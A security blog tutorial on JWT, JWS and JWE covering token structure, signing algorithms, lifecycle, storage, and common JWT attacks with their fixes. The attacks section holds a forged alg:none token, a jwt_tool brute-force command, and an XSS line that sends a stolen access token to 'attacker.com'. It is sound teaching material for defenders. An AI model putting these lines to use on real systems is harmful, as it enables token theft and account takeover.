JWT, JWS, and JWE — Tokens Decoded
Thilan Dissanayaka Identity & Access Management May 18, 2020

JWT, JWS, and JWE — Tokens Decoded

Every modern authentication flow ends the same way — a token is issued. That token becomes your proof of identity, your access pass, your digital boarding ticket. You carry it around, present it to APIs, and the system trusts you based on what's inside it.

But what is inside it? How does a server know the token hasn't been tampered with? What's the difference between signing and encrypting a token? And why do people keep telling you "never store JWTs in localStorage"?

In the Authentication Deep Dive, we introduced tokens as an alternative to sessions. In the OAuth article, we saw tokens being issued and used. Now it's time to crack one open and look inside.

The Problem — HTTP is Stateless

HTTP doesn't remember anything. Every request is independent. The server doesn't inherently know that the request at 10:00:01 came from the same user who authenticated at 10:00:00.

To solve this, we need something the client can carry and present with every request — proof that they've already been authenticated. This "something" is a token.

Historically, this evolved through several stages:

  1. Session cookies — Server stores session data, client carries a session ID. Works, but requires server-side storage.
  2. Opaque tokens — Random strings that the server maps to user data. Still requires a lookup.
  3. Structured tokens (JWT) — Self-contained tokens that carry the user data inside them. No server-side storage needed.

Each approach has trade-offs. Let's understand them.

Opaque Tokens vs Structured Tokens

This is a fundamental architectural choice, and getting it wrong causes real problems.

Opaque Tokens

An opaque token is just a random string — meaningless to anyone who looks at it.

a3f8b2c1-d4e5-6789-abcd-ef0123456789

There's no user data inside. To validate it, the server must look it up in a database or call an introspection endpoint:

POST /oauth/introspect
Content-Type: application/x-www-form-urlencoded

token=a3f8b2c1-d4e5-6789-abcd-ef0123456789

Response:

{
    "active": true,
    "sub": "user-12345",
    "scope": "read write",
    "exp": 1716242400
}

The token itself is just a reference — a pointer to data stored elsewhere.

Structured Tokens (JWT)

A JWT carries the data inside itself:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyLTEyMzQ1Iiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzE2MjQyNDAwfQ.signature...

Decode the middle part and you get:

{
    "sub": "user-12345",
    "role": "admin",
    "exp": 1716242400
}

No database lookup needed. The server verifies the cryptographic signature and trusts the claims. This is what makes JWTs attractive for distributed systems — any service with the signing key (or public key) can validate the token independently.

When to Use Which

Aspect Opaque Tokens JWT
Validation Requires server lookup (DB or introspection) Self-contained — validated locally
Revocation Easy — delete from the store Hard — token is valid until it expires
Size Small (~36 bytes) Large (~500+ bytes with claims)
Performance Slower (network/DB call per request) Faster (local crypto verification)
Privacy Token reveals nothing Claims are readable (base64, not encrypted)
Best for When revocation matters, sensitive systems Stateless APIs, microservices, SPAs

There's also a hybrid approach — the Reference Token Pattern. The client receives an opaque token, but the API gateway or resource server exchanges it for a JWT internally via introspection. This gives you the privacy and revocability of opaque tokens with the performance of JWTs at the API layer.

JWT Deep Dive

JWT stands for JSON Web Token (pronounced "jot" — yes, really). It's defined in RFC 7519.

A JWT has three parts separated by dots:

header.payload.signature

Let's decode a real one. Here's a JWT:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InNpZ24tMSJ9.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlLmNvbSIsInN1YiI6InVzZXItMTIzNDUiLCJhdWQiOiJteS13ZWItYXBwIiwiaWF0IjoxNzE2MjM5MDIyLCJleHAiOjE3MTYyNDI2MjIsIm5iZiI6MTcxNjIzOTAyMiwianRpIjoiYWJjMTIzIiwicm9sZSI6ImFkbWluIiwidGVuYW50X2lkIjoib3JnLTQ1NiJ9.signature

Decoding Manually

Each part is Base64URL encoded — not regular Base64. The difference: Base64URL uses - instead of + and _ instead of /, and omits the = padding. This makes JWTs safe to use in URLs.

# Decode the header (first part)
$ echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InNpZ24tMSJ9" | base64 -d
{"alg":"RS256","typ":"JWT","kid":"sign-1"}

# Decode the payload (second part)
$ echo "eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlLmNvbSIsInN1YiI6InVzZXItMTIzNDUiLCJhdWQiOiJteS13ZWItYXBwIiwiaWF0IjoxNzE2MjM5MDIyLCJleHAiOjE3MTYyNDI2MjIsIm5iZiI6MTcxNjIzOTAyMiwianRpIjoiYWJjMTIzIiwicm9sZSI6ImFkbWluIiwidGVuYW50X2lkIjoib3JnLTQ1NiJ9" | base64 -d
{"iss":"https://idp.example.com","sub":"user-12345","aud":"my-web-app","iat":1716239022,"exp":1716242622,"nbf":1716239022,"jti":"abc123","role":"admin","tenant_id":"org-456"}

The Header

The header declares the algorithm and token type:

{
    "alg": "RS256",
    "typ": "JWT",
    "kid": "sign-1"
}
Field Purpose
alg Signing algorithm (RS256, HS256, ES256, etc.)
typ Token type — always "JWT"
kid Key ID — identifies which key was used to sign (critical when keys are rotated)

The Payload (Claims)

The payload contains claims — key-value pairs with information about the user and the token itself.

Registered Claims (Standard)

Claim Name Purpose Example
iss Issuer Who issued the token https://idp.example.com
sub Subject Who the token is about (user ID) user-12345
aud Audience Who the token is intended for my-web-app
exp Expiration When the token expires (Unix timestamp) 1716242622
iat Issued At When the token was issued 1716239022
nbf Not Before Token is not valid before this time 1716239022
jti JWT ID Unique token identifier (for revocation tracking) abc123

Custom Claims

You can add any application-specific claims:

{
    "role": "admin",
    "tenant_id": "org-456",
    "permissions": ["read", "write", "delete"],
    "department": "engineering"
}

Important: The payload is Base64URL-encoded, not encrypted. Anyone who has the token can read the claims. Never put sensitive data (passwords, credit card numbers, secrets) in a JWT payload — unless you encrypt it with JWE.

The Signature

The third part is the cryptographic signature that ensures the token hasn't been tampered with. How it's computed depends on the algorithm.

JWS — JSON Web Signature

Here's something most people don't realize: when people say "JWT," they almost always mean JWS (JSON Web Signature). A JWS is a JWT that has been signed to ensure integrity. It's defined in RFC 7515.

There are two families of signing algorithms.

Symmetric Signing — HMAC (HS256)

Both the issuer and the verifier share the same secret key.

signature = HMAC-SHA256(
    base64url(header) + "." + base64url(payload),
    secret_key
)
import hmac
import hashlib
import base64
import json

header = base64url_encode(json.dumps({"alg": "HS256", "typ": "JWT"}))
payload = base64url_encode(json.dumps({"sub": "user-12345", "role": "admin"}))

signing_input = f"{header}.{payload}"
secret = b"my-256-bit-secret-key-here-1234567"

signature = hmac.new(secret, signing_input.encode(), hashlib.sha256).digest()
signature_b64 = base64url_encode(signature)

jwt = f"{header}.{payload}.{signature_b64}"

When to use HS256: Single-service architectures where the same service issues and verifies tokens. The secret never leaves the server.

Problem: If you share the secret with multiple services, any of them can create tokens — not just verify them. One compromised service can mint admin tokens.

Asymmetric Signing — RSA/ECDSA (RS256, ES256)

The issuer signs with a private key. Verifiers only need the public key.

signature = RSA-SHA256(
    base64url(header) + "." + base64url(payload),
    private_key
)

The public key can verify the signature but cannot create new ones. This is critical for distributed systems — you can hand out the public key to every microservice without worrying about them forging tokens.

Algorithm Type Key Size Performance Notes
HS256 Symmetric (HMAC) 256-bit shared secret Fast Same key signs and verifies
RS256 Asymmetric (RSA) 2048-bit+ RSA Slower signing, fast verification Most common for multi-service
ES256 Asymmetric (ECDSA) 256-bit EC Fast, small signatures Modern alternative to RSA
PS256 Asymmetric (RSA-PSS) 2048-bit+ RSA Similar to RS256 More secure padding scheme

When to use RS256/ES256: Multi-service architectures, microservices, any scenario where different services need to verify tokens but shouldn't be able to create them.

Verification in Code

Here's how to verify a JWT in Node.js using the jose library:

const jose = require('jose');

async function verifyToken(token) {
    // Fetch the public key from the JWKS endpoint
    const JWKS = jose.createRemoteJWKSet(
        new URL('https://idp.example.com/.well-known/jwks.json')
    );

    const { payload, protectedHeader } = await jose.jwtVerify(token, JWKS, {
        issuer: 'https://idp.example.com',
        audience: 'my-web-app',
    });

    console.log('Token is valid');
    console.log('User:', payload.sub);
    console.log('Role:', payload.role);

    return payload;
}

And in Python with PyJWT:

import jwt
import requests

# Fetch the public key from JWKS
jwks = requests.get('https://idp.example.com/.well-known/jwks.json').json()
public_key = jwt.algorithms.RSAAlgorithm.from_jwk(jwks['keys'][0])

# Verify the token
payload = jwt.decode(
    token,
    public_key,
    algorithms=['RS256'],
    issuer='https://idp.example.com',
    audience='my-web-app'
)

print(f"User: {payload['sub']}")
print(f"Role: {payload['role']}")

JWKS — JSON Web Key Set

How does a verifier get the public key? Through a JWKS (JSON Web Key Set) endpoint. This is a standard URL that serves the public keys in a structured format.

GET https://idp.example.com/.well-known/jwks.json

Response:

{
    "keys": [
        {
            "kty": "RSA",
            "kid": "sign-1",
            "use": "sig",
            "alg": "RS256",
            "n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhW...",
            "e": "AQAB"
        },
        {
            "kty": "RSA",
            "kid": "sign-2",
            "use": "sig",
            "alg": "RS256",
            "n": "mC4VGDdBd1FlFBRcGlQv3bTmvfK9JHzNYgI5oEwMR7sOp...",
            "e": "AQAB"
        }
    ]
}

The kid (Key ID) in the JWT header tells the verifier which key to use. This enables key rotation — you can add a new key, start signing with it, and eventually remove the old one, all without breaking existing tokens.

JWE — JSON Web Encryption

JWS gives you integrity — you can verify the token hasn't been modified. But the payload is still readable by anyone.

JWE gives you confidentiality — the payload is encrypted. Only the intended recipient can read it. It's defined in RFC 7516.

JWE Structure

While JWS has 3 parts, JWE has 5:

header.encrypted_key.iv.ciphertext.tag
Part Purpose
Header Algorithm and encryption method
Encrypted Key Content encryption key, encrypted with the recipient's public key
IV Initialization vector for the encryption
Ciphertext The encrypted payload
Authentication Tag Integrity check for the ciphertext

JWS vs JWE

Aspect JWS (Signed) JWE (Encrypted)
Parts 3 (header.payload.signature) 5 (header.key.iv.ciphertext.tag)
Payload Readable by anyone (base64) Encrypted — only recipient can read
Integrity Yes (signature) Yes (auth tag)
Confidentiality No Yes
Use case Most authentication flows Tokens with sensitive data (PII, medical)
Performance Faster Slower (encryption overhead)

When to Use JWE

Most of the time, JWS is sufficient. Use JWE when:

  • The token contains PII (personally identifiable information) that shouldn't be visible to intermediaries
  • Compliance requirements mandate encrypted tokens (healthcare, finance)
  • Tokens pass through untrusted intermediaries (third-party proxies, CDNs)

Nested JWT — Sign Then Encrypt

For maximum security, you can create a nested JWT: sign the token first (JWS), then encrypt it (JWE). The recipient decrypts to get the JWS, then verifies the signature. This gives you both confidentiality and integrity from different parties.

Token Lifecycle

Understanding how tokens are used throughout their lifecycle is critical for building secure systems.

Access Tokens

  • Purpose: Authorize API requests
  • Lifetime: Short — 5 to 15 minutes
  • Sent as: Authorization: Bearer <token> header
  • Revocation: Difficult (usually you just wait for expiry)

Refresh Tokens

  • Purpose: Get new access tokens without re-authenticating
  • Lifetime: Long — hours, days, or weeks
  • Stored: Server-side or secure client storage
  • Revocation: Easy — stored in a database, can be deleted

ID Tokens

  • Purpose: Prove the user's identity to the client application
  • Lifetime: Short (same as access tokens)
  • Audience: The client app — NEVER sent to APIs
  • Contains: User identity claims (name, email, sub)

The Complete Flow

1. User logs in (username + password + MFA)
              |
              v
2. IdP issues tokens:
   - Access Token  (5 min TTL)
   - Refresh Token (7 day TTL)
   - ID Token      (5 min TTL, for the client)
              |
              v
3. Client uses Access Token for API calls:
   GET /api/data
   Authorization: Bearer eyJhbGciOiJS...
              |
              v
4. Access Token expires after 5 minutes
              |
              v
5. Client uses Refresh Token to get a new Access Token:
   POST /oauth/token
   grant_type=refresh_token
   refresh_token=dGhpcyBpcyBh...
              |
              v
6. IdP validates Refresh Token and issues:
   - New Access Token (5 min TTL)
   - New Refresh Token (old one is invalidated — rotation)
              |
              v
7. Repeat steps 3-6 until Refresh Token expires or user logs out

Refresh Token Rotation

This is a critical security pattern. Every time a refresh token is used, the server issues a new refresh token and invalidates the old one. If an attacker steals an old refresh token and tries to use it, the server detects it (because it was already used/rotated) and can invalidate the entire token family — forcing the user to re-authenticate.

Normal flow:
  Client uses RT-1 → gets AT-2 + RT-2
  Client uses RT-2 → gets AT-3 + RT-3
  Client uses RT-3 → gets AT-4 + RT-4

Attack detected:
  Attacker stole RT-1 and tries to use it
  Server sees RT-1 was already used → ALARM
  Server invalidates RT-2, RT-3, RT-4 (entire family)
  User must re-authenticate

Token Storage — Where to Keep Them

This is one of the most debated topics in web security. Where you store tokens has direct security implications.

Storage XSS Vulnerable? CSRF Vulnerable? Survives Refresh? Notes
localStorage Yes No Yes Accessible to any JS on the page
sessionStorage Yes No No Same as localStorage, cleared on tab close
HttpOnly Cookie No Yes Yes Not accessible to JS, but sent automatically
In-memory (JS variable) Partial No No Safest from XSS, but lost on page refresh
BFF (Backend for Frontend) No No Yes Best security, most complexity

The BFF Pattern

The Backend for Frontend pattern is the gold standard for SPAs:

Browser  →  BFF (your backend)  →  API
                   |
            Stores tokens in
            server-side session
            (HttpOnly cookie to browser)

The browser never sees the JWT. It gets an HttpOnly session cookie pointing to the BFF. The BFF holds the actual tokens and forwards them to APIs. This eliminates both XSS (no tokens in JS) and CSRF (SameSite cookies + CSRF tokens) attack vectors.

The trade-off is complexity — you need an extra backend component. But for high-security applications, it's worth it.

JWT Security — Common Attacks

JWTs are a frequent target because they're everywhere and developers often implement them incorrectly.

1. The alg:none Attack

Some JWT libraries support a "none" algorithm — no signature at all. If the server accepts it, an attacker can forge tokens by simply removing the signature.

The attack:

# Original token (signed with RS256)
eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyLTEyMyIsInJvbGUiOiJ1c2VyIn0.valid_signature

# Attacker's forged token (alg changed to "none", signature removed)
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyLTEyMyIsInJvbGUiOiJhZG1pbiJ9.

Decode the header: {"alg":"none"}. Decode the payload: {"sub":"user-123","role":"admin"}. No signature needed.

The fix: Always explicitly specify allowed algorithms when verifying:

# WRONG — accepts whatever algorithm the token says
payload = jwt.decode(token, key)

# RIGHT — only accepts RS256
payload = jwt.decode(token, key, algorithms=["RS256"])

2. Key Confusion Attack (RS256 → HS256)

This is subtle and devastating. The server is configured to verify tokens using RS256 (asymmetric — public/private key pair). The attacker:

  1. Gets the server's public key (often available at the JWKS endpoint)
  2. Creates a token with "alg": "HS256" (symmetric — shared secret)
  3. Signs the token using the public key as the HMAC secret

If the server's JWT library sees alg: HS256 and uses the configured "key" (which is the public key) as the HMAC secret, the signature validates. The attacker has forged a valid token using publicly available information.

The fix: Never let the token's alg header drive your verification logic. Explicitly specify the algorithm:

// WRONG
jwt.verify(token, publicKey);

// RIGHT
jwt.verify(token, publicKey, { algorithms: ['RS256'] });

3. Weak Signing Keys

If you're using HS256 with a weak secret (like "secret" or "password123"), an attacker can brute-force it. Tools like jwt_tool and hashcat can crack weak HMAC secrets in seconds.

# Brute-force a JWT's HMAC secret
$ python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

[+] SECRET FOUND: mysecretkey123

The fix: Use secrets with at least 256 bits of entropy (32+ random bytes). Better yet, use RS256/ES256 where there's no shared secret to crack.

4. Missing Claim Validation

A valid signature doesn't mean the token should be accepted. You must also validate:

payload = jwt.decode(token, key, algorithms=["RS256"],
    issuer="https://idp.example.com",     # Check iss
    audience="my-web-app",                 # Check aud
    options={
        "require": ["exp", "iss", "aud"]  # These claims MUST be present
    }
)

Without these checks:

  • A token from a different IdP could be accepted (iss)
  • A token meant for a different app could be accepted (aud)
  • An expired token could be accepted (exp)

5. Token Sidejacking (XSS + Token Theft)

If tokens are stored in localStorage and the application is vulnerable to XSS, it's game over:

// Attacker's XSS payload
fetch('https://attacker.com/steal?token=' + localStorage.getItem('access_token'));

The fix: Don't store tokens in localStorage. Use HttpOnly cookies or the BFF pattern.

6. JWT Replay

User logs out, but the JWT is still valid (hasn't expired). An attacker who captured the token can keep using it.

The fix: Short expiry times (5-15 minutes) limit the window. For immediate revocation, maintain a token blacklist (by jti) or use opaque tokens where revocation is instant.

Best Practices Checklist

  • Always validate: signature, exp, iss, aud, nbf
  • Use RS256 or ES256 for multi-service architectures
  • Keep access tokens short-lived (5-15 minutes)
  • Never store sensitive data in the JWT payload (use JWE if you must)
  • Implement refresh token rotation with reuse detection
  • Explicitly specify algorithms — never trust the token's alg header blindly
  • Use strong signing keys (256+ bits for HMAC, 2048+ bits for RSA)
  • Rotate signing keys periodically via JWKS
  • Store tokens securely — HttpOnly cookies or BFF pattern for web apps
  • Log token issuance and validation failures for monitoring

Practical Tools

Tool Purpose
jwt.io Decode, verify, and debug JWTs in the browser
jwt_tool CLI tool for testing JWT security (brute-force, alg attacks)
jose (Node.js) Full JWS/JWE/JWK library for Node.js
PyJWT (Python) JWT encoding/decoding for Python
jq (CLI) Parse JWT claims on the command line

Quick decode on the command line:

# Decode a JWT payload with jq
$ echo "eyJzdWIiOiJ1c2VyLTEyMyJ9" | base64 -d | jq .
{
  "sub": "user-123"
}

# One-liner to decode both parts
$ echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .

Final Thoughts

Tokens are deceptively simple on the surface. You base64-decode them, read the claims, verify the signature — done. But the devil is in the details. Algorithm confusion attacks, weak keys, improper storage, missing claim validation — each of these has caused real breaches in production systems.

The key takeaways:

  • JWS (signed tokens) are what most people mean when they say "JWT" — they provide integrity
  • JWE (encrypted tokens) provide confidentiality — use them when the payload is sensitive
  • Opaque tokens give you easy revocation at the cost of a server lookup
  • Never trust the token's algorithm header — always enforce it server-side
  • Store tokens carefully — the storage location is just as important as the token itself

Now that you understand what's inside a token, let's see how these tokens are used in practice. Next up — OpenID Connect (OIDC), the identity layer that issues ID Tokens and powers "Sign in with Google" at the protocol level.

Stay secure!

ALSO READ
SQL Injection Login Bypass
Feb 10 Application Security

SQL Injection (SQLi) is one of the oldest and most fundamental web application vulnerabilities. While modern frameworks have made it harder to introduce, understanding SQL injection is essential for anyone learning web security. In this post, we'll break it down from the ground up using a classic login bypass.

Exploiting a heap buffer overflow in linux
Apr 12 Exploit development

In the [previous article](/heap-internals-how-glibc-malloc-works/), we dissected glibc's malloc — chunks, bins, tcache, coalescing, and the metadata that holds it all together. Now we break...

Identity and Access Management (IAM)
May 11 Identity & Access Management

Who are you — and what are you allowed to do? That's the fundamental question every secure system must answer. And it's exactly what Identity and Access Management (IAM) is built to solve.

 OWASP Top 10 explained - 2021
Feb 11 Application Security

The Open Worldwide Application Security Project (OWASP) is a nonprofit foundation focused on improving the security of software. It provides free, vendor neutral tools, resources, and standards that...

Exploiting a  Stack Buffer Overflow  on Linux
Apr 01 Exploit development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening....

Error based SQL Injection
Feb 15 Application Security

In the previous example, we saw how a classic SQL Injection Login Bypass works. SQL Injection is not all about that. The real fun is we can extract the data from the database. In this tutorial, we...